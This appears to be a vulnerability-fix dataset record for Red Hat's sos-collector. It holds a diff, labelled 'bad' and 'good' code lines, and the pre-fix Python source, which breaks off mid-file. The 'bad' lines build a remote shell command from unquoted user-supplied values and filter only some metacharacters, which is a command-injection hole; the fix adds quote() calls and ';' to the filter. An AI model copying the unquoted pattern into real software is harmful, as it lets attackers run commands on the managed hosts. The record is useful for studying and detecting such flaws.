self.config['sos_cmd'] += ' -s %s' % self.config['sysroot']\n+ self.config['sos_cmd'] += ' -s %s' % quote(self.config['sysroot'])\n if self.config['chroot']:\n- self.config['sos_cmd'] += ' -c %s' % self.config['chroot']\n+ self.config['sos_cmd'] += ' -c %s' % quote(self.config['chroot'])\n if self.config['compression']:\n- self.config['sos_cmd'] += ' -z %s' % self.config['compression']\n+ self.config['sos_cmd'] += ' -z %s' % (\n+ quote(self.config['compression']))\n self.log_debug('Initial sos cmd set to %s' % self.config['sos_cmd'])\n \n def connect_to_master(self):\n", "add": 9, "remove": 7, "filename": "/soscollector/sos_collector.py", "badparts": [" filt = ['&', '|', '>', '<']", " self.config['sos_cmd'], self.config['sos_opt_line'])", " self.config['sos_cmd'] += ' --case-id=%s' % self.config['case_id']", " % self.config['log_size'])", " self.config['sos_cmd'] += ' -s %s' % self.config['sysroot']", " self.config['sos_cmd'] += ' -c %s' % self.config['chroot']", " self.config['sos_cmd'] += ' -z %s' % self.config['compression']"], "goodparts": [" filt = ['&', '|', '>', '<', ';']", " self.config['sos_cmd'], quote(self.config['sos_opt_line']))", " self.config['sos_cmd'] += ' --case-id=%s' % (", " quote(self.config['case_id']))", " % quote(self.config['log_size']))", " self.config['sos_cmd'] += ' -s %s' % quote(self.config['sysroot'])", " self.config['sos_cmd'] += ' -c %s' % quote(self.config['chroot'])", " self.config['sos_cmd'] += ' -z %s' % (", " quote(self.config['compression']))"]}, {"diff": "\n can still be run if the user sets a --cluster-type manually\n '''\n checks = list(self.clusters.values())\n- for cluster in checks:\n+ for cluster in self.clusters.values():\n checks.remove(cluster)\n cluster.master = self.master\n if cluster.check_enabled", "add": 1, "remove": 1, "filename": "/soscollector/sos_collector.py", "badparts": [" for cluster in checks:"], "goodparts": [" for cluster in self.clusters.values():"]}], "source": "\n import fnmatch import inspect import logging import os import random import re import string import tarfile import threading import tempfile import shutil import subprocess import sys from datetime import datetime from concurrent.futures import ThreadPoolExecutor from.sosnode import SosNode from distutils.sysconfig import get_python_lib from getpass import getpass from six.moves import input from textwrap import fill from soscollector import __version__ class SosCollector(): '''Main sos-collector class''' def __init__(self, config): os.umask(0o77) self.config=config self.client_list=[] self.node_list=[] self.master=False self.retrieved=0 self.need_local_sudo=False self.clusters=self.config['cluster_types'] if not self.config['list_options']: try: if not self.config['tmp_dir']: self.create_tmp_dir() self._setup_logging() self.log_debug('Executing %s' % ' '.join(s for s in sys.argv)) self.log_debug(\"Found cluster profiles: %s\" % self.clusters.keys()) self.log_debug(\"Found supported host types: %s\" % self.config['host_types'].keys()) self._parse_options() self.prep() except KeyboardInterrupt: self._exit('Exiting on user cancel', 130) def _setup_logging(self): self.logger=logging.getLogger('sos_collector') self.logger.setLevel(logging.DEBUG) self.logfile=tempfile.NamedTemporaryFile( mode=\"w+\", dir=self.config['tmp_dir'], delete=False) hndlr=logging.StreamHandler(self.logfile) hndlr.setFormatter(logging.Formatter( '%(asctime)s %(levelname)s: %(message)s')) hndlr.setLevel(logging.DEBUG) self.logger.addHandler(hndlr) console=logging.StreamHandler(sys.stderr) console.setFormatter(logging.Formatter('%(message)s')) self.console=logging.getLogger('sos_collector_console') self.console.setLevel(logging.DEBUG) self.console_log_file=tempfile.NamedTemporaryFile( mode=\"w+\", dir=self.config['tmp_dir'], delete=False) chandler=logging.StreamHandler(self.console_log_file) cfmt=logging.Formatter('%(asctime)s %(levelname)s: %(message)s') chandler.setFormatter(cfmt) self.console.addHandler(chandler) ui=logging.StreamHandler() fmt=logging.Formatter('%(message)s') ui.setFormatter(fmt) if self.config['verbose']: ui.setLevel(logging.DEBUG) else: ui.setLevel(logging.INFO) self.console.addHandler(ui) def _exit(self, msg, error=1): '''Used to safely terminate if sos-collector encounters an error''' self.log_error(msg) try: self.close_all_connections() except Exception: pass sys.exit(error) def _parse_options(self): '''If there are cluster options set on the CLI, override the defaults ''' if self.config['cluster_options']: for opt in self.config['cluster_options']: match=False for option in self.clusters[opt.cluster].options: if opt.name==option.name: match=True option.value=self._validate_option(option, opt) if not match: self._exit('Unknown option provided: %s.%s' %( opt.cluster, opt.name )) def _validate_option(self, default, cli): '''Checks to make sure that the option given on the CLI is valid. Valid in this sense means that the type of value given matches what a cluster profile expects(str for str, bool for bool, etc). For bool options, this will also convert the string equivalent to an actual boolean value ''' if not default.opt_type==bool: if not default.opt_type==cli.opt_type: msg=\"Invalid option type for %s. Expected %s got %s\" self._exit(msg %(cli.name, default.opt_type, cli.opt_type)) return cli.value else: val=cli.value.lower() if val not in['true', 'on', 'false', 'off']: msg=(\"Invalid value for %s. Accepted values are: 'true', \" \"'false', 'on', 'off'\") self._exit(msg % cli.name) else: if val in['true', 'on']: return True else: return False def log_info(self, msg): '''Log info messages to both console and log file''' self.logger.info(msg) self.console.info(msg) def log_warn(self, msg): '''Log warn messages to both console and log file''' self.logger.warn(msg) self.console.warn('WARNING: %s' % msg) def log_error(self, msg): '''Log error messages to both console and log file''' self.logger.error(msg) self.console.error(msg) def log_debug(self, msg): '''Log debug message to both console and log file''' caller=inspect.stack()[1][3] msg='[sos_collector:%s] %s' %(caller, msg) self.logger.debug(msg) if self.config['verbose']: self.console.debug(msg) def create_tmp_dir(self): '''Creates a temp directory to transfer sosreports to''' tmpdir=tempfile.mkdtemp(prefix='sos-collector-', dir='/var/tmp') self.config['tmp_dir']=tmpdir self.config['tmp_dir_created']=True def list_options(self): '''Display options for available clusters''' print('\\nThe following cluster options are available:\\n') print('{:15}{:15}{:<10}{:10}{:<}'.format( 'Cluster', 'Option Name', 'Type', 'Default', 'Description' )) for cluster in self.clusters: for opt in self.clusters[cluster].options: optln='{:15}{:15}{:<10}{:<10}{:<10}'.format( opt.cluster, opt.name, opt.opt_type.__name__, str(opt.value), opt.description ) print(optln) print('\\nOptions take the form of cluster.name=value' '\\nE.G. \"ovirt.no-database=True\" or \"pacemaker.offline=False\"') def delete_tmp_dir(self): '''Removes the temp directory and all collected sosreports''' shutil.rmtree(self.config['tmp_dir']) def _get_archive_name(self): '''Generates a name for the tarball archive''' nstr='sos-collector' if self.config['label']: nstr +='-%s' % self.config['label'] if self.config['case_id']: nstr +='-%s' % self.config['case_id'] dt=datetime.strftime(datetime.now(), '%Y-%m-%d') try: string.lowercase=string.ascii_lowercase except NameError: pass rand=''.join(random.choice(string.lowercase) for x in range(5)) return '%s-%s-%s' %(nstr, dt, rand) def _get_archive_path(self): '''Returns the path, including filename, of the tarball we build that contains the collected sosreports ''' self.arc_name=self._get_archive_name() compr='gz' return self.config['out_dir'] +self.arc_name +'.tar.' +compr def _fmt_msg(self, msg): width=80 _fmt='' for line in msg.splitlines(): _fmt=_fmt +fill(line, width, replace_whitespace=False) +'\\n' return _fmt def prep(self): '''Based on configuration, performs setup for collection''' disclaimer=(\"\"\"\\ This utility is used to collect sosreports from multiple \\ nodes simultaneously. It uses the python-paramiko library \\ to manage the SSH connections to remote systems. If this \\ library is not acceptable for use in your environment, \\ you should not use this utility. An archive of sosreport tarballs collected from the nodes will be \\ generated in %s and may be provided to an appropriate support representative. The generated archive may contain data considered sensitive \\ and its content should be reviewed by the originating \\ organization before being passed to any third party. No configuration changes will be made to the system running \\ this utility or remote systems that it connects to. \"\"\") self.console.info(\"\\nsos-collector(version %s)\\n\" % __version__) intro_msg=self._fmt_msg(disclaimer % self.config['tmp_dir']) self.console.info(intro_msg) prompt=\"\\nPress ENTER to continue, or CTRL-C to quit\\n\" if not self.config['batch']: input(prompt) if not self.config['password']: self.log_debug('password not specified, assuming SSH keys') msg=('sos-collector ASSUMES that SSH keys are installed on all ' 'nodes unless the --password option is provided.\\n') self.console.info(self._fmt_msg(msg)) if self.config['password']: self.log_debug('password specified, not using SSH keys') msg=('Provide the SSH password for user %s: ' % self.config['ssh_user']) self.config['password']=getpass(prompt=msg) if self.config['need_sudo'] and not self.config['insecure_sudo']: if not self.config['password']: self.log_debug('non-root user specified, will request ' 'sudo password') msg=('A non-root user has been provided. Provide sudo ' 'password for %s on remote nodes: ' % self.config['ssh_user']) self.config['sudo_pw']=getpass(prompt=msg) else: if not self.config['insecure_sudo']: self.config['sudo_pw']=self.config['password'] if self.config['become_root']: if not self.config['ssh_user']=='root': self.log_debug('non-root user asking to become root remotely') msg=('User %s will attempt to become root. ' 'Provide root password: ' % self.config['ssh_user']) self.config['root_password']=getpass(prompt=msg) self.config['need_sudo']=False else: self.log_info('Option to become root but ssh user is root.' ' Ignoring request to change user on node') self.config['become_root']=False if self.config['master']: self.connect_to_master() self.config['no_local']=True else: try: self.master=SosNode('localhost', self.config) except Exception as err: self.log_debug(\"Unable to determine local installation: %s\" % err) self._exit('Unable to determine local installation. Use the ' '--no-local option if localhost should not be ' 'included.\\nAborting...\\n', 1) if self.config['cluster_type']: self.config['cluster']=self.clusters[self.config['cluster_type']] self.config['cluster'].master=self.master else: self.determine_cluster() if self.config['cluster'] is None and not self.config['nodes']: msg=('Cluster type could not be determined and no nodes provided' '\\nAborting...') self._exit(msg, 1) if self.config['cluster']: self.config['cluster'].setup() self.config['cluster'].modify_sos_cmd() self.get_nodes() self.intro() self.configure_sos_cmd() def intro(self): '''Prints initial messages and collects user and case if not provided already. ''' self.console.info('') if not self.node_list and not self.master.connected: self._exit('No nodes were detected, or nodes do not have sos ' 'installed.\\nAborting...') self.console.info('The following is a list of nodes to collect from:') if self.master.connected: self.console.info('\\t%-*s' %(self.config['hostlen'], self.config['master'])) for node in sorted(self.node_list): self.console.info(\"\\t%-*s\" %(self.config['hostlen'], node)) self.console.info('') if not self.config['case_id'] and not self.config['batch']: msg='Please enter the case id you are collecting reports for: ' self.config['case_id']=input(msg) def configure_sos_cmd(self): '''Configures the sosreport command that is run on the nodes''' if self.config['sos_opt_line']: filt=['&', '|', '>', '<'] if any(f in self.config['sos_opt_line'] for f in filt): self.log_warn('Possible shell script found in provided sos ' 'command. Ignoring --sos-cmd option entirely.') self.config['sos_opt_line']=None else: self.config['sos_cmd']='%s %s' %( self.config['sos_cmd'], self.config['sos_opt_line']) self.log_debug(\"User specified manual sosreport command. \" \"Command set to %s\" % self.config['sos_cmd']) return True if self.config['case_id']: self.config['sos_cmd'] +=' --case-id=%s' % self.config['case_id'] if self.config['alloptions']: self.config['sos_cmd'] +=' --alloptions' if self.config['verify']: self.config['sos_cmd'] +=' --verify' if self.config['log_size']: self.config['sos_cmd'] +=(' --log-size=%s' % self.config['log_size']) if self.config['sysroot']: self.config['sos_cmd'] +=' -s %s' % self.config['sysroot'] if self.config['chroot']: self.config['sos_cmd'] +=' -c %s' % self.config['chroot'] if self.config['compression']: self.config['sos_cmd'] +=' -z %s' % self.config['compression'] self.log_debug('Initial sos cmd set to %s' % self.config['sos_cmd']) def connect_to_master(self): '''If run with --master, we will run cluster checks again that instead of the localhost. ''' try: self.master=SosNode(self.config['master'], self.config) except Exception as e: self.log_debug('Failed to connect to master: %s' % e) self._exit('Could not connect to master node.\\nAborting...', 1) def determine_cluster(self): '''This sets the cluster type and loads that cluster's cluster. If no cluster type is matched and no list of nodes is provided by the user, then we abort. If a list of nodes is given, this is not run, however the cluster can still be run if the user sets a --cluster-type manually ''' checks=list(self.clusters.values()) for cluster in checks: checks.remove(cluster) cluster.master=self.master if cluster.check_enabled(): cname=cluster.__class__.__name__ self.log_debug(\"Installation matches %s, checking for layered \" \"profiles\" % cname) for remaining in checks: if issubclass(remaining.__class__, cluster.__class__): rname=remaining.__class__.__name__ self.log_debug(\"Layered profile %s found. \" \"Checking installation\" % rname) remaining.master=self.master if remaining.check_enabled(): self.log_debug(\"Installation matches both layered \" \"profile %s and base profile %s, \" \"setting cluster type to layered \" \"profile\" %(rname, cname)) cluster=remaining break self.config['cluster']=cluster name=str(cluster.__class__.__name__).lower() self.config['cluster_type']=name self.log_info( 'Cluster type set to %s' % self.config['cluster_type']) break def get_nodes_from_cluster(self): '''Collects the list of nodes from the determined cluster cluster''' if self.config['cluster_type']: nodes=self.config['cluster']._get_nodes() self.log_debug('Node list: %s' % nodes) return nodes def reduce_node_list(self): '''Reduce duplicate entries of the localhost and/or master node if applicable''' if(self.config['hostname'] in self.node_list and self.config['no_local']): self.node_list.remove(self.config['hostname']) for i in self.config['ip_addrs']: if i in self.node_list: self.node_list.remove(i) if self.config['master']: for n in self.node_list: if n==self.master.hostname or n==self.config['master']: self.node_list.remove(n) self.node_list=list(set(n for n in self.node_list if n)) self.log_debug('Node list reduced to %s' % self.node_list) def compare_node_to_regex(self, node): '''Compares a discovered node name to a provided list of nodes from the user. If there is not a match, the node is removed from the list''' for regex in self.config['nodes']: try: regex=fnmatch.translate(regex) if re.match(regex, node): return True except re.error as err: msg='Error comparing %s to provided node regex %s: %s' self.log_debug(msg %(node, regex, err)) return False def get_nodes(self): ''' Sets the list of nodes to collect sosreports from ''' if not self.config['master'] and not self.config['cluster']: msg=('Could not determine a cluster type and no list of ' 'nodes or master node was provided.\\nAborting...' ) self._exit(msg) try: nodes=self.get_nodes_from_cluster() if self.config['nodes']: for node in nodes: if self.compare_node_to_regex(node): self.node_list.append(node) else: self.node_list=nodes except Exception as e: self.log_debug(\"Error parsing node list: %s\" % e) self.log_debug('Setting node list to --nodes option') self.node_list=self.config['nodes'] for node in self.node_list: if any(i in node for i in('*', '\\\\', '?', '(', ')', '/')): self.node_list.remove(node) if self.config['nodes']: for node in self.config['nodes']: if any(i in node for i in '*\\\\?()/[]'): continue if node not in self.node_list: self.log_debug(\"Force adding %s to node list\" % node) self.node_list.append(node) if not self.config['master']: host=self.config['hostname'].split('.')[0] for node in self.node_list: if host==node.split('.')[0]: self.node_list.remove(node) self.node_list.append(self.config['hostname']) self.reduce_node_list() try: self.config['hostlen']=len(max(self.node_list, key=len)) except(TypeError, ValueError): self.config['hostlen']=len(self.config['master']) def _connect_to_node(self, node): '''Try to connect to the node, and if we can add to the client list to run sosreport on ''' try: client=SosNode(node, self.config) if client.connected: self.client_list.append(client) else: client.close_ssh_session() except Exception: pass def collect(self): ''' For each node, start a collection thread and then tar all collected sosreports ''' if self.master.connected: self.client_list.append(self.master) self.console.info(\"\\nConnecting to nodes...\") filters=[self.master.address, self.master.hostname] nodes=[n for n in self.node_list if n not in filters] try: pool=ThreadPoolExecutor(self.config['threads']) pool.map(self._connect_to_node, nodes, chunksize=1) pool.shutdown(wait=True) self.report_num=len(self.client_list) if self.config['no_local'] and self.master.address=='localhost': self.report_num -=1 self.console.info(\"\\nBeginning collection of sosreports from %s \" \"nodes, collecting a maximum of %s \" \"concurrently\\n\" %(self.report_num, self.config['threads']) ) pool=ThreadPoolExecutor(self.config['threads']) pool.map(self._collect, self.client_list, chunksize=1) pool.shutdown(wait=True) except KeyboardInterrupt: self.log_error('Exiting on user cancel\\n') os._exit(130) if hasattr(self.config['cluster'], 'run_extra_cmd'): self.console.info('Collecting additional data from master node...') files=self.config['cluster']._run_extra_cmd() if files: self.master.collect_extra_cmd(files) msg='\\nSuccessfully captured %s of %s sosreports' self.log_info(msg %(self.retrieved, self.report_num)) if self.retrieved > 0: self.create_cluster_archive() else: msg='No sosreports were collected, nothing to archive...' self._exit(msg, 1) self.close_all_connections() def _collect(self, client): '''Runs sosreport on each node''' try: if not client.local: client.sosreport() else: if not self.config['no_local']: client.sosreport() if client.retrieved: self.retrieved +=1 except Exception as err: self.log_error(\"Error running sosreport: %s\" % err) def close_all_connections(self): '''Close all ssh sessions for nodes''' for client in self.client_list: self.log_debug('Closing SSH connection to %s' % client.address) client.close_ssh_session() def create_cluster_archive(self): '''Calls for creation of tar archive then cleans up the temporary files created by sos-collector''' self.log_info('Creating archive of sosreports...') self.create_sos_archive() if self.archive: self.logger.info('Archive created as %s' % self.archive) self.cleanup() self.console.info('\\nThe following archive has been created. ' 'Please provide it to your support team.') self.console.info(' %s' % self.archive) def create_sos_archive(self): '''Creates a tar archive containing all collected sosreports''' try: self.archive=self._get_archive_path() with tarfile.open(self.archive, \"w:gz\") as tar: for fname in os.listdir(self.config['tmp_dir']): arcname=fname if fname==self.logfile.name.split('/')[-1]: arcname='sos-collector.log' if fname==self.console_log_file.name.split('/')[-1]: arcname='ui.log' tar.add(os.path.join(self.config['tmp_dir'], fname), arcname=self.arc_name +'/' +arcname) tar.close() except Exception as e: msg='Could not create archive: %s' % e self._exit(msg, 2) def cleanup(self): ''' Removes the tmp dir and all sosarchives therein. If tmp dir was supplied by user, only the sos archives within that dir are removed. ''' if self.config['tmp_dir_created']: self.delete_tmp_dir() else: for f in os.listdir(self.config['tmp_dir']): if re.search('*sosreport-*tar*', f): os.remove(os.path.join(self.config['tmp_dir'], f)) ", "sourceWithComments": "# Copyright Red Hat 2017, Jake Hunsaker \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n\n# You should have received a copy of the GNU General Public License along\n# with this program; if not, write to the Free Software Foundation, Inc.,\n# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nimport fnmatch\nimport inspect\nimport logging\nimport os\nimport random\nimport re\nimport string\nimport tarfile\nimport threading\nimport tempfile\nimport shutil\nimport subprocess\nimport sys\n\nfrom datetime import datetime\nfrom concurrent.futures import ThreadPoolExecutor\nfrom .sosnode import SosNode\nfrom distutils.sysconfig import get_python_lib\nfrom getpass import getpass\nfrom six.moves import input\nfrom textwrap import fill\nfrom soscollector import __version__\n\n\nclass SosCollector():\n '''Main sos-collector class'''\n\n def __init__(self, config):\n os.umask(0o77)\n self.config = config\n self.client_list = []\n self.node_list = []\n self.master = False\n self.retrieved = 0\n self.need_local_sudo = False\n self.clusters = self.config['cluster_types']\n if not self.config['list_options']:\n try:\n if not self.config['tmp_dir']:\n self.create_tmp_dir()\n self._setup_logging()\n self.log_debug('Executing %s' % ' '.join(s for s in sys.argv))\n self.log_debug(\"Found cluster profiles: %s\"\n % self.clusters.keys())\n self.log_debug(\"Found supported host types: %s\"\n % self.config['host_types'].keys())\n self._parse_options()\n self.prep()\n except KeyboardInterrupt:\n self._exit('Exiting on user cancel', 130)\n\n def _setup_logging(self):\n # behind the scenes logging\n self.logger = logging.getLogger('sos_collector')\n self.logger.setLevel(logging.DEBUG)\n self.logfile = tempfile.NamedTemporaryFile(\n mode=\"w+\",\n dir=self.config['tmp_dir'],\n delete=False)\n hndlr = logging.StreamHandler(self.logfile)\n hndlr.setFormatter(logging.Formatter(\n '%(asctime)s %(levelname)s: %(message)s'))\n hndlr.setLevel(logging.DEBUG)\n self.logger.addHandler(hndlr)\n\n console = logging.StreamHandler(sys.stderr)\n console.setFormatter(logging.Formatter('%(message)s'))\n\n # ui logging\n self.console = logging.getLogger('sos_collector_console')\n self.console.setLevel(logging.DEBUG)\n self.console_log_file = tempfile.NamedTemporaryFile(\n mode=\"w+\",\n dir=self.config['tmp_dir'],\n delete=False)\n chandler = logging.StreamHandler(self.console_log_file)\n cfmt = logging.Formatter('%(asctime)s %(levelname)s: %(message)s')\n chandler.setFormatter(cfmt)\n self.console.addHandler(chandler)\n\n # also print to console\n ui = logging.StreamHandler()\n fmt = logging.Formatter('%(message)s')\n ui.setFormatter(fmt)\n if self.config['verbose']:\n ui.setLevel(logging.DEBUG)\n else:\n ui.setLevel(logging.INFO)\n self.console.addHandler(ui)\n\n def _exit(self, msg, error=1):\n '''Used to safely terminate if sos-collector encounters an error'''\n self.log_error(msg)\n try:\n self.close_all_connections()\n except Exception:\n pass\n sys.exit(error)\n\n def _parse_options(self):\n '''If there are cluster options set on the CLI, override the defaults\n '''\n if self.config['cluster_options']:\n for opt in self.config['cluster_options']:\n match = False\n for option in self.clusters[opt.cluster].options:\n if opt.name == option.name:\n match = True\n # override the default from CLI\n option.value = self._validate_option(option, opt)\n if not match:\n self._exit('Unknown option provided: %s.%s' % (\n opt.cluster, opt.name\n ))\n\n def _validate_option(self, default, cli):\n '''Checks to make sure that the option given on the CLI is valid.\n Valid in this sense means that the type of value given matches what a\n cluster profile expects (str for str, bool for bool, etc).\n\n For bool options, this will also convert the string equivalent to an\n actual boolean value\n '''\n if not default.opt_type == bool:\n if not default.opt_type == cli.opt_type:\n msg = \"Invalid option type for %s. Expected %s got %s\"\n self._exit(msg % (cli.name, default.opt_type, cli.opt_type))\n return cli.value\n else:\n val = cli.value.lower()\n if val not in ['true', 'on', 'false', 'off']:\n msg = (\"Invalid value for %s. Accepted values are: 'true', \"\n \"'false', 'on', 'off'\")\n self._exit(msg % cli.name)\n else:\n if val in ['true', 'on']:\n return True\n else:\n return False\n\n def log_info(self, msg):\n '''Log info messages to both console and log file'''\n self.logger.info(msg)\n self.console.info(msg)\n\n def log_warn(self, msg):\n '''Log warn messages to both console and log file'''\n self.logger.warn(msg)\n self.console.warn('WARNING: %s' % msg)\n\n def log_error(self, msg):\n '''Log error messages to both console and log file'''\n self.logger.error(msg)\n self.console.error(msg)\n\n def log_debug(self, msg):\n '''Log debug message to both console and log file'''\n caller = inspect.stack()[1][3]\n msg = '[sos_collector:%s] %s' % (caller, msg)\n self.logger.debug(msg)\n if self.config['verbose']:\n self.console.debug(msg)\n\n def create_tmp_dir(self):\n '''Creates a temp directory to transfer sosreports to'''\n tmpdir = tempfile.mkdtemp(prefix='sos-collector-', dir='/var/tmp')\n self.config['tmp_dir'] = tmpdir\n self.config['tmp_dir_created'] = True\n\n def list_options(self):\n '''Display options for available clusters'''\n print('\\nThe following cluster options are available:\\n')\n print('{:15} {:15} {:<10} {:10} {:<}'.format(\n 'Cluster',\n 'Option Name',\n 'Type',\n 'Default',\n 'Description'\n ))\n\n for cluster in self.clusters:\n for opt in self.clusters[cluster].options:\n optln = '{:15} {:15} {:<10} {:<10} {:<10}'.format(\n opt.cluster,\n opt.name,\n opt.opt_type.__name__,\n str(opt.value),\n opt.description\n )\n print(optln)\n print('\\nOptions take the form of cluster.name=value'\n '\\nE.G. \"ovirt.no-database=True\" or \"pacemaker.offline=False\"')\n\n def delete_tmp_dir(self):\n '''Removes the temp directory and all collected sosreports'''\n shutil.rmtree(self.config['tmp_dir'])\n\n def _get_archive_name(self):\n '''Generates a name for the tarball archive'''\n nstr = 'sos-collector'\n if self.config['label']:\n nstr += '-%s' % self.config['label']\n if self.config['case_id']:\n nstr += '-%s' % self.config['case_id']\n dt = datetime.strftime(datetime.now(), '%Y-%m-%d')\n\n try:\n string.lowercase = string.ascii_lowercase\n except NameError:\n pass\n\n rand = ''.join(random.choice(string.lowercase) for x in range(5))\n return '%s-%s-%s' % (nstr, dt, rand)\n\n def _get_archive_path(self):\n '''Returns the path, including filename, of the tarball we build\n that contains the collected sosreports\n '''\n self.arc_name = self._get_archive_name()\n compr = 'gz'\n return self.config['out_dir'] + self.arc_name + '.tar.' + compr\n\n def _fmt_msg(self, msg):\n width = 80\n _fmt = ''\n for line in msg.splitlines():\n _fmt = _fmt + fill(line, width, replace_whitespace=False) + '\\n'\n return _fmt\n\n def prep(self):\n '''Based on configuration, performs setup for collection'''\n disclaimer = (\"\"\"\\\nThis utility is used to collect sosreports from multiple \\\nnodes simultaneously. It uses the python-paramiko library \\\nto manage the SSH connections to remote systems. If this \\\nlibrary is not acceptable for use in your environment, \\\nyou should not use this utility.\n\nAn archive of sosreport tarballs collected from the nodes will be \\\ngenerated in %s and may be provided to an appropriate support representative.\n\nThe generated archive may contain data considered sensitive \\\nand its content should be reviewed by the originating \\\norganization before being passed to any third party.\n\nNo configuration changes will be made to the system running \\\nthis utility or remote systems that it connects to.\n\"\"\")\n self.console.info(\"\\nsos-collector (version %s)\\n\" % __version__)\n intro_msg = self._fmt_msg(disclaimer % self.config['tmp_dir'])\n self.console.info(intro_msg)\n prompt = \"\\nPress ENTER to continue, or CTRL-C to quit\\n\"\n if not self.config['batch']:\n input(prompt)\n\n if not self.config['password']:\n self.log_debug('password not specified, assuming SSH keys')\n msg = ('sos-collector ASSUMES that SSH keys are installed on all '\n 'nodes unless the --password option is provided.\\n')\n self.console.info(self._fmt_msg(msg))\n\n if self.config['password']:\n self.log_debug('password specified, not using SSH keys')\n msg = ('Provide the SSH password for user %s: '\n % self.config['ssh_user'])\n self.config['password'] = getpass(prompt=msg)\n\n if self.config['need_sudo'] and not self.config['insecure_sudo']:\n if not self.config['password']:\n self.log_debug('non-root user specified, will request '\n 'sudo password')\n msg = ('A non-root user has been provided. Provide sudo '\n 'password for %s on remote nodes: '\n % self.config['ssh_user'])\n self.config['sudo_pw'] = getpass(prompt=msg)\n else:\n if not self.config['insecure_sudo']:\n self.config['sudo_pw'] = self.config['password']\n\n if self.config['become_root']:\n if not self.config['ssh_user'] == 'root':\n self.log_debug('non-root user asking to become root remotely')\n msg = ('User %s will attempt to become root. '\n 'Provide root password: ' % self.config['ssh_user'])\n self.config['root_password'] = getpass(prompt=msg)\n self.config['need_sudo'] = False\n else:\n self.log_info('Option to become root but ssh user is root.'\n ' Ignoring request to change user on node')\n self.config['become_root'] = False\n\n if self.config['master']:\n self.connect_to_master()\n self.config['no_local'] = True\n else:\n try:\n self.master = SosNode('localhost', self.config)\n except Exception as err:\n self.log_debug(\"Unable to determine local installation: %s\" %\n err)\n self._exit('Unable to determine local installation. Use the '\n '--no-local option if localhost should not be '\n 'included.\\nAborting...\\n', 1)\n\n if self.config['cluster_type']:\n self.config['cluster'] = self.clusters[self.config['cluster_type']]\n self.config['cluster'].master = self.master\n else:\n self.determine_cluster()\n if self.config['cluster'] is None and not self.config['nodes']:\n msg = ('Cluster type could not be determined and no nodes provided'\n '\\nAborting...')\n self._exit(msg, 1)\n if self.config['cluster']:\n self.config['cluster'].setup()\n self.config['cluster'].modify_sos_cmd()\n self.get_nodes()\n self.intro()\n self.configure_sos_cmd()\n\n def intro(self):\n '''Prints initial messages and collects user and case if not\n provided already.\n '''\n self.console.info('')\n\n if not self.node_list and not self.master.connected:\n self._exit('No nodes were detected, or nodes do not have sos '\n 'installed.\\nAborting...')\n\n self.console.info('The following is a list of nodes to collect from:')\n if self.master.connected:\n self.console.info('\\t%-*s' % (self.config['hostlen'],\n self.config['master']))\n\n for node in sorted(self.node_list):\n self.console.info(\"\\t%-*s\" % (self.config['hostlen'], node))\n\n self.console.info('')\n\n if not self.config['case_id'] and not self.config['batch']:\n msg = 'Please enter the case id you are collecting reports for: '\n self.config['case_id'] = input(msg)\n\n def configure_sos_cmd(self):\n '''Configures the sosreport command that is run on the nodes'''\n if self.config['sos_opt_line']:\n filt = ['&', '|', '>', '<']\n if any(f in self.config['sos_opt_line'] for f in filt):\n self.log_warn('Possible shell script found in provided sos '\n 'command. Ignoring --sos-cmd option entirely.')\n self.config['sos_opt_line'] = None\n else:\n self.config['sos_cmd'] = '%s %s' % (\n self.config['sos_cmd'], self.config['sos_opt_line'])\n self.log_debug(\"User specified manual sosreport command. \"\n \"Command set to %s\" % self.config['sos_cmd'])\n return True\n if self.config['case_id']:\n self.config['sos_cmd'] += ' --case-id=%s' % self.config['case_id']\n if self.config['alloptions']:\n self.config['sos_cmd'] += ' --alloptions'\n if self.config['verify']:\n self.config['sos_cmd'] += ' --verify'\n if self.config['log_size']:\n self.config['sos_cmd'] += (' --log-size=%s'\n % self.config['log_size'])\n if self.config['sysroot']:\n self.config['sos_cmd'] += ' -s %s' % self.config['sysroot']\n if self.config['chroot']:\n self.config['sos_cmd'] += ' -c %s' % self.config['chroot']\n if self.config['compression']:\n self.config['sos_cmd'] += ' -z %s' % self.config['compression']\n self.log_debug('Initial sos cmd set to %s' % self.config['sos_cmd'])\n\n def connect_to_master(self):\n '''If run with --master, we will run cluster checks again that\n instead of the localhost.\n '''\n try:\n self.master = SosNode(self.config['master'], self.config)\n except Exception as e:\n self.log_debug('Failed to connect to master: %s' % e)\n self._exit('Could not connect to master node.\\nAborting...', 1)\n\n def determine_cluster(self):\n '''This sets the cluster type and loads that cluster's cluster.\n\n If no cluster type is matched and no list of nodes is provided by\n the user, then we abort.\n\n If a list of nodes is given, this is not run, however the cluster\n can still be run if the user sets a --cluster-type manually\n '''\n checks = list(self.clusters.values())\n for cluster in checks:\n checks.remove(cluster)\n cluster.master = self.master\n if cluster.check_enabled():\n cname = cluster.__class__.__name__\n self.log_debug(\"Installation matches %s, checking for layered \"\n \"profiles\" % cname)\n for remaining in checks:\n if issubclass(remaining.__class__, cluster.__class__):\n rname = remaining.__class__.__name__\n self.log_debug(\"Layered profile %s found. \"\n \"Checking installation\"\n % rname)\n remaining.master = self.master\n if remaining.check_enabled():\n self.log_debug(\"Installation matches both layered \"\n \"profile %s and base profile %s, \"\n \"setting cluster type to layered \"\n \"profile\" % (rname, cname))\n cluster = remaining\n break\n\n self.config['cluster'] = cluster\n name = str(cluster.__class__.__name__).lower()\n self.config['cluster_type'] = name\n self.log_info(\n 'Cluster type set to %s' % self.config['cluster_type'])\n break\n\n def get_nodes_from_cluster(self):\n '''Collects the list of nodes from the determined cluster cluster'''\n if self.config['cluster_type']:\n nodes = self.config['cluster']._get_nodes()\n self.log_debug('Node list: %s' % nodes)\n return nodes\n\n def reduce_node_list(self):\n '''Reduce duplicate entries of the localhost and/or master node\n if applicable'''\n if (self.config['hostname'] in self.node_list and\n self.config['no_local']):\n self.node_list.remove(self.config['hostname'])\n for i in self.config['ip_addrs']:\n if i in self.node_list:\n self.node_list.remove(i)\n # remove the master node from the list, since we already have\n # an open session to it.\n if self.config['master']:\n for n in self.node_list:\n if n == self.master.hostname or n == self.config['master']:\n self.node_list.remove(n)\n self.node_list = list(set(n for n in self.node_list if n))\n self.log_debug('Node list reduced to %s' % self.node_list)\n\n def compare_node_to_regex(self, node):\n '''Compares a discovered node name 